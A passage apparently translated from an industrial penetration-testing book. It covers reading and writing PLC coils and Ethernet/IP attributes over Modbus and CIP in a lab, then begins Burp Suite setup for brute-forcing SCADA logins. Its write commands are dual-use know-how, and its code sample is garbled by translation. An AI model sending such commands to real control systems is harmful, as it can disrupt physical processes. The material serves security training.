Modbus TCP 将 Modbus RTU 数据包封装在 TCP 数据包内,使得数据可以通过 IP 地址进行交换,这与以前的 RS-232 或 RS-485 串行通信形式相比是一次巨大的变化。它采用客户端-服务器模型,允许客户端与多个服务器通信,并双向传输操作和控制数据。操作和控制输入输出根据数据的实现和内容使用不同的寄存器。以下是 Modbus 标准中定义的寄存器及其位大小的表格:
如果你还记得在第三章,我爱我的位 – 实验室设置中,当我们配置一个程序并将其下载到 Koyo CLICK 时,我们在梯形逻辑中使用接点和线圈来打开和关闭灯。正如前面的表格所示,这些线圈和离散输入的大小是 1 位。我们使用 GUI 直接切换灯的开关状态,通过覆盖并强制 I/O。工程软件发送一个包含一捆数据的包,在这捆数据中,有功能代码和寄存器或寄存器列表。功能代码定义了 PLC 所期望的操作及其对后续寄存器的处理方式。在我们的灯光场景中,我们发送一个数据包,使用功能代码 5(用于写单个线圈的功能代码)将值为 1 的 1 位计数发送到线圈 1。以下是 Modbus 协议中常用的标准功能代码表:
建立一个 Modbus 服务器
最好的学习方法是通过示例。还记得在第一章,使用虚拟化中,当我们在 PLC 和 SCADA 虚拟机上安装了两个不同的程序,分别是pymodbus和mbtget吗?我们将设置一个服务器和客户端,然后在它们之间编写一些简单的通信,并使用 Wireshark 监听网络,分析我们发送的流量。
我们将从以下链接的示例开始:github.com/riptideio/pymodbus。
为了方便起见,我将包括以下源代码,供你复制并粘贴到你的 PLC 虚拟机中:
#!/usr/bin/env python
来自 pymodbus.device 的导入 ModbusDeviceIdentification
来自 pymodbus.datastore 的导入 Modbus 顺序数据块
来自 pymodbus.datastore 的导入 ModbusSlaveContext, ModbusServerContext
来自 pymodbus.transaction 的导入(ModbusRtuFramer,
ModbusAsciiFramer,
ModbusBinaryFramer)
导入日志记录
FORMAT = ('%(asctime)-15s %(threadName)-15s'
'%(levelname)-8s %(module)-15s:%(lineno)-8s %(message)s')
logging.basicConfig(format=FORMAT)
log = logging.getLogger()
log.setLevel(logging.DEBUG)
def run_async_server():
store = ModbusSlaveContext(
di=Modbus 顺序数据块(0, [17]*100),
co=Modbus 顺序数据块(0, [17]*100),
hr=Modbus 顺序数据块(0, [17]*100),
ir=Modbus 顺序数据块(0, [17]*100))
context = ModbusServerContext(slaves=store, single=True)
identity = Modbus 设备识别()
identity.VendorName = 'Pymodbus'
identity.ProductCode = 'PM'
identity.VendorUrl = 'github.com/riptideio/p…'
identity.ProductName = 'Pymodbus 服务器'
identity.ModelName = 'Pymodbus 服务器'
identity.MajorMinorRevision = version.short()
启动 TcpServer(context, identity=identity, address=("0.0.0.0", 5020))
if name == "main":
run_async_server()
我们将把这段代码放入一个名为server.py的文件中。
然后,我们将通过输入以下命令来运行服务器文件:
python3 server.py
如果一切顺利,您应该看到以下屏幕:
图 8.1 – pymodbus 服务器
一旦我们在 PLC 上运行了服务器,我们将导航到 SCADA 虚拟机,并作为客户端运行 mbtget 命令以查询虚拟 PLC 上的寄存器。运行命令 mbtget -r1(读取位功能 1)、-a 1(地址号 1)、-n 10(获取接下来的 10 个寄存器)、192.168.1.10(虚拟 PLC 的 IP 地址)、-p 5020(端口号)。这是该命令的拆解,您可以通过运行 mbtget -h 了解更多:
mbtget -r1 -a 1 -n 10 192.168.1.10 -p 5020
如果命令执行正确,并且服务器端正在监听连接,您将收到以下响应:
图 8.2 – 10 个 Modbus 寄存器
接下来,我们希望在网络段上运行 Wireshark,并通过 Wireshark 中的 Modbus 显示过滤器检测 Modbus 通信。首先,我们需要确保 ESXi 虚拟交换机允许混杂模式,从而使我们能够嗅探交换机并在 Wireshark 中查看。
打开您的 ESXi Web 管理控制台,导航到 网络,并从左侧菜单中选择 vSwitch1:
图 8.3 – vSwitch1 ESXi
一旦选择,您应该验证您的安全策略是否允许混杂模式,如下图所示:
图 8.4 – 混杂模式
如果 允许混杂模式 被禁用,则点击 设置 按钮,然后在 安全性 标签下,选择 接受 选项,将其调整为 是,如以下截图所示:
图 8.5 – 编辑交换机设置
现在我们已启用 允许混杂模式,请打开 Kali Linux 虚拟机或 Windows 虚拟机并运行 Wireshark。启用与 PLC 和 SCADA 位于同一网络段的接口。回顾一下,当我们在第一章《使用虚拟化》中配置实验室时,我们将 PLC 设置并连接到 Level 1: Process,并将 SCADA 连接到 Level 2: Local Control。
一旦启动并运行 Wireshark,并监听连接到 PLC 和 SCADA 通信的网络段的接口,接下来在客户端重新运行命令,以从服务器读取 10 个寄存器。您应该在 Wireshark 中看到以下输出:
图 8.6 – Modbus 捕获
现在,你可能在想为什么我的输出和你的不同。主要原因是我们正在通过端口5020运行 Modbus TCP,而 Wireshark 的解码器默认设置为端口502。为了解决这个问题,我们需要右键点击数据包并选择解码为…,如下图所示:
图 8.7 – 解码为…
然后会弹出一个类似以下截图的窗口:
图 8.8 – Modbus TCP 端口 5020
从这里,选择端口值5020,然后选择当前解码器为Modbus/TCP。你应该看到你的 TCP 数据包现在已被解码为 Modbus。
在这里,如果你点击第一个数据包,并深入查看 Modbus/TCP 和 Modbus 的解码器层,你应该会看到类似以下截图的内容:
图 8.9 – Modbus 请求
如前所述,我们正在发送位计数和功能代码。在这里,我们看到位计数为10,符合我们命令的预期,并且功能代码为读取线圈(1)。现在检查此截图中的数据包:
图 8.10 – Modbus 响应
这是从服务器发送的响应数据包。如你所见,这和我们在 SCADA 客户端中看到的相同内容,那里我们使用了mbtget命令。我们有 10 个线圈,从地址 1 开始,全部显示为已切换开启或读取为真值。接下来,我们要查看如何使用mbtget手动切换这些线圈。运行mbtget -w5(功能代码 5 写单个线圈),0表示位值(关闭),1表示位值(开启),192.168.1.10(IP 地址),-p 5020(最后,这是使用的端口)命令:
mbtget -w5 0 -a 1 192.168.1.10 -p 5020
如果一切正常,并且 PLC 与 SCADA 客户端之间有通信,你应该看到以下屏幕:
图 8.11 – 位写入成功
将输出与 Wireshark 捕获进行比较。你应该看到以下 Modbus 层的信息:
-
功能代码为
5,用于写单个线圈 -
参考编号
-
最后,数据为
0
所有内容如以下截图所示:
图 8.12 – 写单个线圈
现在使用mbtget再次查询服务器寄存器,运行以下命令:
mbtget -r1 -a 1 -n 10 192.168.1.10 -p 5020
你应该看到地址 1 的线圈现在已关闭:
图 8.13 – 地址 1 为关闭状态
将此与您的 Wireshark 捕获的 Modbus 响应数据包进行比较,如以下截图所示:
图 8.14 – Modbus 响应地址 1 为 0
最后,使用我们在虚拟 PLC 上运行的相同步骤和功能,现在在你的 Koyo CLICK 或你在实验室中设置的运行 Modbus 的 PLC 上运行命令,打开顶部的红灯:
mbtget -w5 1 -a 0 192.168.1.20
你应该会看到红灯亮起。接下来,我们需要运行mbtget命令来读取线圈。运行以下命令查看 PLC 的响应以及启用/禁用的线圈:
mbtget -r1 -a 0 -n 4 192.168.1.20
你应该在运行两个命令后获得以下输出:
](image/B16321_08_015.jpg)
图 8.15 – mbtget 读取 Koyo CLICK
你现在可能已经注意到,与 PLC、RTU、流量计算机、气相色谱仪(GC)、控制器或任何其他使用 Modbus 作为主要控制或操作协议的技术进行 I/O 交互是相当容易的。这在渗透测试中起着非常重要的作用。如果你收集到足够的信息,你将能够拼凑出控制数据如何操控现实世界中的过程。
警告
在与客户互动时,确保有明确的互动规则(ROE),并且在设施中工作时,始终采取谨慎的态度。如果你有访问权限并能够对线圈或寄存器进行写入操作,除非在 ROE 中已经获得批准并签字,否则请不要,我重复一遍,千万不要随便向线圈、输入或寄存器发送随机数据。你可能会无意中关闭生产线或工艺列车,这可能会对客户造成巨大的收入损失。
我将在这里结束 Modbus 部分,让你继续深入研究该协议及其功能。我建议你熟悉mbtget并尝试使用它,因为它是一个用 Perl 编写的强大工具。我们快速启动了pymodbus作为服务器;然而,也有更多示例可以将pymodbus作为客户端模式运行。从这里开始,我们将研究 Ethernet/IP 协议。它是一种广泛使用的协议,不是因为它是一个被广泛接受的标准,而是因为他们的销售团队做得非常出色,成功将技术推广到许多不同的行业。
使用 Ethernet/IP 打开灯
该协议在北美市场得到广泛应用。我认为这与它成为了罗克韦尔自动化产品中基础协议并被嵌入其中有关。它大约在 90 年代末期,几乎是在 Modbus 发布近二十年后,开始在控制工程领域得到应用。通用工业协议(CIP)消息是驱动 Ethernet/IP 的核心元素。正是由于 CIP 面向对象和开放的特性,才使得它能够迅速在市场上得到采用。我看到的一个有趣的统计数据是,Ethernet/IP 被估计在全球工业市场的使用率为 30%。这一比例相当可观,也正是为什么这本书值得讨论和回顾它的原因。若要深入阅读有关 Ethernet/IP 协议的更多详细信息,请使用链接 www.odva.org/wp-content/uploads/2020/05/PUB00035R0_Infrastructure_Guide.pdf 并阅读 开放设备网络供应商协会(ODVA)提供的材料。我将简要介绍一些在进行客户网络渗透测试时可能有用的高级细节。
Ethernet/IP 在网络上的设备之间发送 CIP 消息,以操作过程设备。这些 CIP 消息是多个对象的集合,这些对象有三个特定类别:
-
通用对象
-
应用特定对象
-
网络特定对象
通用对象是工业中最常见的项目。大多数设备利用这个对象在控制器和服务器之间传递有用的信息。应用特定对象和网络特定对象,如其名称所示,只会出现在使用这些对象的应用程序或网络中。在接下来的部分,我们将专注于通用对象。
以下是通用对象的表格:
如果我们仔细查看通用身份对象(0x01),会发现它包含两组属性:
-
必需属性
-
可选属性
以下表格列出了必需的属性:
以下表格列出了可选属性:
这些列出的属性通过 Ethernet/IP 协议传递到身份 CIP对象。我们之所以专注于这个特定对象,有几个原因:
-
所有 IDS 供应商通常都会从此协议和特定数据包开始,构建他们的资产检测引擎。
-
了解这个对象的构造方式将使我们能够将其复现为蜜罐。
-
我们将使用在 第一章 中安装的 CPPPO 包,使用虚拟化,来演示 Ethernet/IP 如何工作,我们将从 身份 对象开始。
建立 EthernetIP 服务器
确保在您的 PLC 上安装了cpppo包,方法是运行以下命令:
pip3 install cpppo
在确认您已安装cpppo包后,我们将在文档文件夹下创建一个名为enip的目录:
图 8.16 – enip 文件夹
在这个enip文件夹中,我们想要创建一个名为cpppo.cfg的新文件,并将以下配置放入文件中。请注意,标识对象属性如下列出,并包含定义。您可以根据自己的规格进行配置;但是,我们将使用此默认配置运行初始演示:
[标识]
通常,字符串不用引号括起来
厂商 ID = 1
设备类型 = 14
产品代码编号 = 51
产品修订版本 = 16
状态字 = 12656
序列号 = 1360281
产品名称 = 1756-L55/A 1756-M12/A LOGIX5555
状态 = 255
[TCPIP]
然而,一些复杂的结构需要 JSON 配置:
接口配置 = {
"ip_address": "192.168.1.30",
"network_mask": "255.255.255.0",
"dns_primary": "8.8.8.8",
"dns_secondary": "8.8.4.4",
"domain_name": "industrial.pentest.lab"
}
主机名 = 控制器
配置并保存文件后,运行以下命令:
python3 -m cpppo.server.enip -v -a 0.0.0.0
如果一切正常且没有任何错误,您应该看到以下输出:
图 8.17 – cpppo 服务器运行中
现在我们在 PLC 上运行了一个以太网/IP 服务器。在 SCADA VM 上打开一个会话,并运行以下命令:
python3 -m cpppo.server.enip.poll -v TCPIP Identity -a 192.168.1.10
再次,如果一切都安装并正确通信,您应该得到以下输出:
图 8.18 – cpppo 响应
现在打开 Kali 或 Windows VM 并运行 Wireshark。我们想监听通信,就像在 Modbus 部分所做的那样。一旦打开 Wireshark,请确保 SCADA VM 仍在轮询 PLC VM,您应该看到以下输出:
图 8.19 – 标识对象
展开数据包成功:标识 – 获取所有属性,如下截图所示:
图 8.20 – 成功:标识 – 获取所有属性
你将看到在 CIP 层下有服务:获取所有属性(响应)。展开此项,你将看到在 PLC 虚拟机的Documents/enip/文件夹下我们在cpppo.cfg文件中配置的详细信息。请查看以下截图并将其与配置文件进行对比。尝试更改一些参数并重启 Ethernet/IP 服务器:
图 8.21 – 身份详细信息
如你所见,在此对象中,所有用于识别控制器的有用信息都在这里。这就是为什么 IDS 供应商通常会首先处理这个协议,因为它是一个简单的办法来识别网络中的资产。对我们来说,使用Wireshark或tcpdump(如在第五章《你能捕捉我吗》中讨论的)可以帮助我们识别潜在目标,并检测这些设备是否包含已知漏洞,从而使我们能够深入探查环境。接下来,我们将打开实验室中 Koyo CLICK 的 Ethernet/IP 适配器,然后使用cpppo工具来审问我们的 PLC。
执行以下快速步骤:
-
打开 CLICK 编程软件。
-
点击连接到 PLC按钮。
-
选择 IP 地址为
192.168.1.20的 PLC 并点击连接。 -
从 PLC 选项中选择读取项目并点击确定按钮。
这些步骤是前面章节的简要回顾,目的是让我们准备好进行 Ethernet/IP 设置的起始工作。
现在我们应该查看控制四个灯的梯形图程序。从这里,我们希望点击设置菜单选项,如下截图所示:
图 8.22 – Koyo CLICK 设置
选择**EtherNet/IP 设置…**菜单选项,这将弹出以下窗口:
图 8.23 – EtherNet/IP 适配器设置
在窗口中选择启用 EtherNet/IP 适配器复选框。这将启用窗口中选项的选择和编辑。你会注意到在右上角,你可以更改连接数、端口号和超时时间。保持默认选项不变,我们将重点关注以下截图中显示的**输入(到扫描仪)**数据块:
图 8.24 – 输入数据块
输入数据块是 Ethernet/IP 主站可以读取的数据块。我们希望选择开始列下的块 1,你会看到它允许你点击一个按钮来打开地址选择器窗口。选择左侧的XD按钮来筛选我们不会使用的地址。你应该看到以下屏幕:
图 8.25 – XD 地址选择
选择XD0作为块 1 的起始地址,并对块 1 的结束地址进行相同设置,选择XD8。你的地址设置应如下所示:
图 8.26 – 输入 XD 块 1 地址设置
接下来,我们需要为**Out (来自扫描仪)**块的寻址设置相同的内容,但我们将使用YD地址,而不是使用XD地址来设置Start和End。设置完成后,你的地址应该如下所示:
图 8.27 – 输出 YD 块 1 地址设置
一旦设置完成,你需要将你的项目写入 Koyo CLICK PLC。当你的项目被写入 PLC 后,返回到我们之前运行cpppo包命令的 SCADA 虚拟机的终端窗口。现在我们要运行以下命令:
python3 -m cpppo.server.enip.list_services -vv -a 192.168.1.20 –list-identity
如果一切连接正常,你应该会得到类似下面这段长输出的信息:
图 8.28 – Koyo CLICK Ethernet/IP 身份
如你所见,通过运行那个简单的命令,我们能够发现 Koyo CLICK PLC 的身份。接下来,我们将打开 Wireshark 并再次分析通信,重新运行命令时,你应该会得到以下输出:
图 8.29 – Koyo CLICK ENIP Wireshark 捕获
你可能记得,通信是从 ESXi 服务器通过物理 PLC 接口路由出去的,所以你需要使用我们在第五章中设置的 SPAN 端口,Span Me If You Can,来捕获上述通信。这一切都很有趣,但你可能会问,主菜在哪儿? 听听流量,查询 PLC 的身份倒是有意思,但实际的操作呢?比如改变值、开关灯、开关阀门,所有这些有趣的操作呢?
好了,系好安全带。我们将返回到 PLC 虚拟机,并通过命令行进行更改来测试我们的Get**/**Set属性请求。在启动虚拟的 Ethernet/IP PLC 之前,我们需要简要讨论一下如何与 PLC 进行交互并发送消息。我们将使用无连接显式消息传递。之所以这么做,是因为我们不需要事先建立连接,也不需要为维护通信而预留资源。无连接显式消息传递允许我们发送临时通信,让 PLC 接收并处理命令。显式消息传递使用一种名为Lpacket的格式,而在Lpacket中,包含了服务字段,以下是这些服务字段:
-
类别:到目前为止,我们只讨论了类别
0x01,即身份类别,但我提到过有些应用特定的对象 ID,最终它们是类别 ID。虽然有一系列公开定义的类别 ID,但由于协议的开放性,用户可以利用位于 100 到 199 之间的自定义范围。 -
实例:如果你有相同类别的多个实例,这有助于区分不同的消息。
-
属性:类似于实例 ID,属性 ID 使您能够区分给定实例的多个属性。
使用对象模型可以传递大量信息,我强烈建议你通过阅读已发布的标准,自己做一些关于该协议的研究。对于我们的需求,我们只需要理解这个语法:
类/实例/属性
这定义了系统中的标签。现在回到实际操作示例。在你的 PLC 虚拟机终端中运行以下命令:
python3 -m cpppo.server.enip -v -a 0.0.0.0 'Compressor_StationA@8/1/1'
使用此命令,我们告诉系统构建一个名为Compressor_StationA的标签,其中包含类别 ID 0x08,这是一个公开定义的类别 ID,用于离散输入点,然后我们给它分配一个实例 ID 为 1,属性 ID 为 1。如果一切正常,您应该会看到类似以下的输出:
图 8.30 – Compressor_StationA 标签
现在回到你的 SCADA 虚拟机,并输入以下命令:
python3 -m cpppo.server.enip.get_attribute '@8/1/1' -S -a 192.168.1.10
运行此命令会请求位于8/1/1的属性,使用-S(简单模式)从-a(地址)192.168.1.10。执行此命令后,您应该会收到如下响应:
图 8.31 – 单一属性值
这个响应告诉我们该属性中有一个0的值。这是一个简单读取属性的例子。现在我们想向这个标签写入数据。运行此命令将属性值设置为1:
python3 -m cpppo.server.enip.get_attribute '@8/1/1=(INT)1' '@8/1/1' -S -a 192.168.1.10
如果你比较这两个命令,我们所做的只是添加了一个新参数,告诉系统将对象@8/1/1=(INT)1设置为整数 1。现在你应该会看到两个输出,如下所示:
图 8.32 – 设置属性
你可以看到命令响应S_A_S和G_A_S,分别代表设置属性和获取属性。第一个命令表示将属性设置为True,而获取命令则返回值为1。最后,记住我们给对象命名的标签是Compressor_StationA,我们可以使用该标签名来获取和设置值,因为它已经在系统中被别名化。以下命令作为示例:
python3 -m cpppo.server.enip.client –print Compressor_StationA Compressor_StationA=1 Compressor_StationA -a 192.168.1.10
你应该会得到以下输出:
图 8.33 – 标签别名 获取/设置属性
使用此命令,我们请求获取属性,然后使用设置命令将值设置为1,最后再次使用获取命令检查值是否已经在虚拟 PLC 中更新。你可以看到,只需轻松地切换开关值,就能在远程控制器中操作。你所需要知道的只是特定对象的映射类/实例/属性。
现在我们可以在实验室中针对 Koyo CLICK PLC 测试相同的命令方法。打开 CLICK 编程软件,导航到设置菜单,选择EtherNet/IP 设置...,你将看到我们之前在配置步骤中看到的配置屏幕。我们要特别关注两个部分,第一个是在**输入(到扫描仪)**标签页下,如下所示:
图 8.34 – 输入 类/实例/属性
请注意标有(Explicit)标签的类/实例/属性项目。
-
类:
4 -
实例:
101 -
属性:
3
现在转到**输出(来自扫描仪)**标签页,你应该能看到以下屏幕:
图 8.35 – 输出 类/实例/属性
类/实例/属性几乎是相同的,如果你记得实例 ID 的作用描述,那么你就知道它为何相差 1:
-
类:
4 -
实例:
102 -
属性:
3
我们现在有足够的信息来与在 PLC 上运行的程序进行交互。作为监控命令与 PLC 交互的一种方式,我们想在 Koyo CLICK 编程软件中的数据视图屏幕上添加一些配置。请参见以下截图,我们将快速通过需要采取的步骤来为监控设置该配置:
图 8.36 – 数据视图
作为回顾,你选择监控菜单项并选择数据视图选项。
在这里,你可以看到我们向数据视图添加了一些更多的寄存器,并启用了覆盖功能。
这里是快速步骤:
-
选择地址单元格。
-
点击地址选择器。
-
选择你要查看的地址并点击确定。
-
继续这个过程,直到你的数据视图看起来和我的一样。
一旦你的寄存器在数据视图中显示,并且与之前的截图相匹配,进入你的 SCADA 虚拟机终端并输入以下命令:
python3 -m cpppo.server.enip.get_attribute '@4/101/3' '@4/102/3' -S -a 192.168.1.20
这个命令,如我们之前所看到的,使用简单模式来获取这些对象中的属性。如果所有输入和输出都关闭,你应该得到以下响应:
图 8.37 – 从 Koyo CLICK 获取属性
注意
我需要指出的是,在文档中,正如我们在设置 Ethernet/IP 时所讲的,在 Koyo CLICK PLC 上,XD寄存器是只读的,而YD寄存器是读/写的,这与控制哲学有关,超出了本书的范围。你真正需要知道的是,如果你想直接与灯互动,你可以通过 Ethernet/IP 绕过 PLC 的输入/输出,并直接使用YD寄存器来激活线圈。
接下来,任务是手动从数据视图屏幕上强制开启X001和X002。你会注意到一些二进制运算,这应该能让你回忆起早期的计算机科学日子。0001 + 0010 == 0011 == 0x03,如下图所示:
图 8.38 – 强制开启 X001 和 X002
结果是XD0的十六进制值为0003h,如所示:
图 8.39 – XD0 等于 3
现在再次检查,确保你的数据视图屏幕看起来如下:
图 8.40 – 强制开启数据视图中的 X001 和 X002
我们希望重新运行Get属性命令,以确保看到正确的属性。作为快速回顾,以下是命令:
python3 -m cpppo.server.enip.get_attribute '@4/101/3' '@4/102/3' -S -a 192.168.1.20
如果一切配置正确,你应该看到以下输出:
图 8.41 – 输入十六进制值 3
现在我们知道我们确实访问了正确的地址,接下来我们开始开关灯。如果你还记得虚拟 PLC 的操作,我们只是将值类型和实际值添加到read命令中。在这种情况下,我们希望复制@4/102/3对象,并添加类型(INT)和我们想要开启的灯组合的十六进制等效值。直接跳入深水区,运行以下命令:
python3 -m cpppo.server.enip.get_attribute '@4/101/3' '@4/102/3=(INT)15 '@4/102/3' -S -a 192.168.1.20
你应该看到以下结果:
图 8.42 – 所有灯都亮着
请再次检查数据视图屏幕,你应该会看到所有输出都已设置为开启,如下图所示:
图 8.43 – Y001-Y004 全部开启
最后,让我们通过使用 Wireshark 嗅探 SPAN 接口来捕获Set属性数据包。在 Wireshark 的信息栏下,你应该能看到以下与发送的三条命令相关的详细信息:
图 8.44 – Wireshark 检测
你可以看到我们检测到了第一条命令,即获取属性@4/101/3,然后是设置属性@4/102/3=(INT)15,最后是第三条命令,我们正在获取设置命令的结果。
注意
如果你做了研究并找到了更多应用类 ID,如前面所讨论的,你应该会发现0x04类 ID 是公认的组装标准。
如果你展开Assembly – Set Attribute Single数据包并查看协议的 CIP 层,你会发现一个数据值0F00,这是15的十六进制表示,如下所示:
图 8.45 – 数据:0f00 CIP 详情
就是这样。我们通过简单地向 PLC 发送未连接的显式消息,成功实现了控制灯光的开关。乍一看,协议结构似乎比 Modbus 复杂且繁琐,但经过一番研究和反复试验后,我们发现地址的类/实例/属性结构使得发送和接收指令变得相当简单。这一点非常重要。正如我们在引言中所述,全球超过 30%的工业设备都使用此协议来操作流程。无论是在亚马逊配送中心操作输送带,还是在殖民管道公司启动或停止主干压缩机站,你肯定会在你的工业渗透测试职业生涯中遇到这种协议。
总结
我理解如果你感到有些迷茫,因为这些信息比较复杂且难以消化。然而,我希望你能明白,理解我们在本章中遇到的协议的功能和可扩展性是多么重要。你应该注意到的最大收获是,我们不需要做任何关于安全的事情,就能轻松地向我们的虚拟控制器和硬件控制器发送 ModbusTCP 和 Ethernet/IP 命令。
从协议层面理解输入输出操作的功能,将为你在提交最终发现报告时提供必要的有效性。在我的职业生涯中,我多次见过这样的报告:仅仅列出了通过不安全协议在网络上发现的资产。当被问及使用不安全协议的资产对组织可能产生的影响时,回应通常毫无实质内容。通过数据包层面的接触,你能够提供比单纯说不安全协议更丰富的评估发现。以下是我们发现的一个快速示例。
我们通过以太网/IP 的身份获取所有属性请求发现,网络中运行着一台 Koyo Click C0-10ARE-D,并且在地址0x04/102/3处存在未连接的显式消息传输漏洞。这个地址一旦被操控,我们就能打开和关闭实验室的灯光。
未来,你应该能更好地理解在网络中遇到各种工业协议时,尤其是 ModbusTCP 和以太网/IP 时,应该寻找什么。
在下一章,我们将深入探讨并介绍如何使用 Burp Suite 对基于 Web 的 SCADA 界面进行渗透测试。
第九章:Ninja 308
在上一章中,我们讨论了工业协议的基础知识,特别是两种协议的细节:Modbus 和 Ethernet/IP。我们讨论并使用了可以枚举端口和发现这些设备上运行的服务的工具。我们还使用了工具来遍历目录和虚拟主机,在第七章《扫描 101》中也提到过,这意味着我们在攻击链的两端都有很好的基础知识。
现在,我们需要花时间研究攻击,最重要的是暴力破解。尽管发现一个遗留服务并花时间进行逆向工程并构建漏洞利用工具非常令人兴奋,但时间通常并不站在我们这边。如果你发现一个像 Ignition SCADA 这样的系统(我们在第七章《扫描 101》中安装了它),通常情况下,操作人员会使用简单的密码或工厂默认密码来访问系统。作为用户访问 SCADA 系统可以让你完全控制工业过程。获得这种访问权限类似于企业 IT 安全领域中的“域管理员”权限。学习如何使用像 BurpSuite 这样的 Web 渗透测试工具非常重要,因为它将帮助你通过泄露真实的凭证来打开各种系统的访问权限。
在本章中,我们将涵盖以下主要主题:
-
安装 FoxyProxy
-
运行 BurpSuite
-
构建一个用于暴力破解 SCADA 的脚本
技术要求
对于本章,你将需要以下内容:
-
一台安装了 Firefox 的 Kali Linux 虚拟机。
-
安装了 BurpSuite Community Edition。前往以下链接查找最新版本:
portswigger.net/burp/communitydownload。 -
一份 SCADA 设备默认密码列表,可以通过以下链接找到:
github.com/scadastrangelove/SCADAPASS/blob/master/scadapass.csv。
你可以在这里查看本章代码的实际操作:bit.ly/3lAinwm
安装 FoxyProxy
在开始安装 FoxyProxy 之前,我们需要先定义什么是代理服务器以及为什么我们需要使用它。代理服务器是一个将来自一个网络或设备的流量转换为另一个设备或网络的系统。然而,这并不容易理解:这对我们意味着什么,为什么我们要关心流量的转换呢?代理服务器允许我们拦截所有来自和指定到我们的攻击主机的通信。这使我们能够增强并更改请求与服务器交互的方式,例如,通过删除 JavaScript UI 过滤和执行其他有趣的任务。那么,既然我们知道了什么是代理服务器,FoxyProxy 又是什么呢?FoxyProxy 是一个简单但强大的代理切换工具。它消除了您必须更改浏览器内部代理设置的繁琐操作。只需添加新的设置并使用开关在代理服务器之间切换,开启或关闭它们。
按照以下步骤安装 FoxyProxy:
-
首先,您需要访问 Kali Linux 虚拟机并启动 Firefox ESR。一旦打开 Firefox,导航到右侧,您会看到一个汉堡按钮或菜单按钮;点击它。它将弹出以下下拉菜单:
图 9.1 – 菜单下拉
-
在菜单打开后,选择附加组件选项。您将看到一个显示推荐、扩展、主题和插件的界面。导航到搜索框,输入
foxyproxy,然后按回车键,如下图所示:图 9.2 – 附加组件搜索弹窗
-
这样做后,您将看到一个可能匹配的附加组件列表。您会在列表顶部看到FoxyProxy 标准版,如下图所示:
图 9.3 – FoxyProxy 标准版
-
点击FoxyProxy 标准版链接,将弹出一个窗口,您可以点击添加到 Firefox按钮。如下图所示:
图 9.4 – 安装 FoxyProxy
-
继续点击添加到 Firefox按钮。此时,您将看到一个权限请求提示。这很重要,因为您将允许 FoxyProxy 更改您的浏览器设置。以下是您通过将其添加到浏览器时将授予 FoxyProxy 的权限:
图 9.5 – FoxyProxy 权限
-
点击添加按钮以成功安装 FoxyProxy。此时,您应该会看到一个狐狸图标出现在 Firefox 的工具栏上,位于右侧。点击该图标将显示以下界面:
图 9.6 – FoxyProxy 配置
-
目前我们没有任何代理设置,所以我们将通过点击**+ 添加**链接来添加一些,如下图所示:
图 9.7 – 添加设置
点击此按钮后,你将看到一个页面,允许你添加第一个代理设置,如下所示:
图 9.8 – 第一个代理设置
对于这些设置,我通常设置以下参数:
-
标题或描述:
BurpSuite -
代理类型:
HTTP -
代理 IP:
127.0.0.1 -
端口:
8080
-
-
点击保存按钮。现在,当你点击工具栏中的狐狸图标时,应该能看到新添加的设置,如下图所示:
图 9.9 – BurpSuite 代理
这样,我们就成功安装了 FoxyProxy 并配置了第一个代理设置,这对 BurpSuite 来说非常方便。接下来我们将讨论这个主题。快速配置代理的简便性,以及能够开关代理并在不同代理之间切换,在你的渗透测试职业生涯中将非常有用。
运行 BurpSuite
在上一节中,我们安装了 FoxyProxy 并配置了一些设置,以适应我们的 BurpSuite 软件。在本节中,我们将利用 BurpSuite 帮助我们理解 Ignition SCADA 使用的请求/响应操作,以执行身份验证和授权。现在,为了继续操作,我们需要将 BurpSuite 的证书添加为受信任的源;否则,我们将被迫将每个访问过的网站标记为例外。
为此,我们必须导航到我们在设置中配置的 IP 地址和端口。完成此操作后,你将看到一个BurpSuite 社区版的启动页面,右侧有一个CA 证书按钮,如下所示:
图 9.10 – CA 证书位置
点击此按钮后,你将看到以下屏幕:
图 9.11 – 保存 CA 证书
选择保存文件并点击确定按钮。接下来,我们需要导航到菜单中的汉堡图标,并选择首选项,如图所示:
图 9.12 – 首选项
然后,我们需要选择左侧的隐私与安全,如下图所示:
图 9.13 – 隐私与安全
向下滚动,直到看到证书区域,如下图所示:
图 9.14 – 证书
点击 查看证书 按钮。系统将弹出以下窗口:
图 9.15 – 导入证书
点击 Import 按钮,导航到最近下载的 ca.cert 文件,然后点击 OK。
您将看到以下屏幕:
图 9.16 – 设置信任选项
选择 信任此 CA 以识别网站,然后点击 OK 按钮。向下滚动以找到 PortSwigger 证书,确保导入顺利完成。您应该会看到以下屏幕:
图 9.17 – PortSwigger 证书
完成证书安装,点击 OK。
就这样!我们已经成功安装了证书。现在,是时候打开 BurpSuite 了。找到并打开 Kali Linux 虚拟机上的 BurpSuite。系统将提示您配置一个项目。这是您开始将工作安排到各种项目中的好机会,因为这将帮助您在编写报告时更高效。我将在接下来的操作中使用 临时项目,如下所示的截图:
图 9.18 – 临时项目
在下一个屏幕上,您将有机会加载预设配置或使用 BurpSuite 的默认设置。我将选择 使用 Burp 默认设置:
图 9.19 – Burp 默认设置
接下来,我们需要确保 Burp 使用正确的代理监听器。因此,选择 Proxy 菜单项,然后选择 Options。在这里,添加一个新的代理监听器,将接口设置为 IP Address:Port 编号,Certificate 设置为 Per-host,如下面的截图所示:
图 9.20 – 代理监听器
确保您选择了代理,并且 拦截开启 已启用,如下所示的截图所示。同时,确保您在 FoxyProxy 中切换了 BurpSuite:
图 9.21 – 拦截开启
现在进入有趣的部分:我们将在此拦截流量并使用 BurpSuite 分析其行为。请导航到 Ignition SCADA 的登录页面:
图 9.22 – Ignition 登录
您可能会注意到功能缺失,这是因为 BurpSuite 已经拦截了您刚刚发起的 GET 请求。如果 BurpSuite 没有在该出现的时候自动弹出,您可以直接导航到它并点击 Proxy 标签,然后点击 Intercept 子标签:
图 9.23 – 登录拦截
如果我们稍微仔细查看细节,会发现仅仅打开登录界面就会启动一大堆流量,如下所示:
